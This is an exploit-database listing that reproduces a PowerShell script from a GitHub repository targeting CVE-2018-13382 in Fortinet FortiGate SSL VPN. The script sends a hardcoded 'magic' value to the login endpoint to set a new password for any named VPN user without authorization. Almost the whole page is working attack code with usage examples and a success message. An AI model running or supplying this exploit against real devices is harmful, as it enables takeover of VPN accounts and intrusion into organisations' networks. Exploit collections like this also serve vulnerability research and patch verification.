Exploit databaseDownload repository ZIP
GH-1fe2f39bae55c6bf6f18b9f209028b32
tumikoto/exploit-fortinetmagicbackdoor
Sources for CVE-2018-13382
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
tumikoto/exploit-fortinetmagicbackdoorRevision 0e0b4cffeccd
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Exploit-FortinetMagicBackdoor.ps1
PowerShell · 1,637 bytesParam(
[parameter(Mandatory=$true)]
[String]$RemoteHost,
[parameter(Mandatory=$true)]
[String]$RemotePort,
[parameter(Mandatory=$true)]
[String]$UserName,
[parameter(Mandatory=$true)]
[String]$NewPassword
)
If (!($RemoteHost) -and ($RemotePort) -and ($UserName) -and ($NewPassword)) {
Write-Host Usage:
Write-Host Exploit-FortinetMagicBackdoor.ps1 -RemoteHost <IP or Domain name of FortiGate> -RemotePort <port SSL VPN is listening on> -UserName <valid SSL VPN user> -NewPassword <password to set for SSL VPN user>
Write-Host " "
Write-Host Example:
Write-Host Exploit-FortinetMagicBackdoor.ps1 -RemoteHost 192.168.254.1 -RemotePort 8443 -UserName "tanderson" -NewPassword "myNAMEisN30"
Exit
}
$uri = "https://" + $RemoteHost + ":" + $RemotePort + "/remote/logincheck"
$body = @{
"ajax"="1"
"username"=$UserName
"magic"="4tinet2095866"
"credential"=$NewPassword
}
Write-Host -Foregroundcolor Green [+] Attempting exploit of Fortinet `'magic`' backdoor CVE-2018-13382 for $UserName at $uri
try {
$response = Invoke-WebRequest -Method POST -Uri $uri -Body $body -SkipCertificateCheck -ErrorAction Stop
Write-Host -Foregroundcolor Green [+] Payload sent successfully`, parsing response
if ($response.Content -match [Regex]::Escape("/remote/login?&err=sslvpn_login_permission_denied")) {
Write-Host -Foregroundcolor Red [+] Exploit failed`, the remote device appears to be patched
} else {
Write-Host -Foregroundcolor Green [+] Exploit appears successful`, log in as $UserName to verify and start making magic!
}
} catch {
Write-Host -Foregroundcolor Red [+] Something went wrong`, HTTP request error
}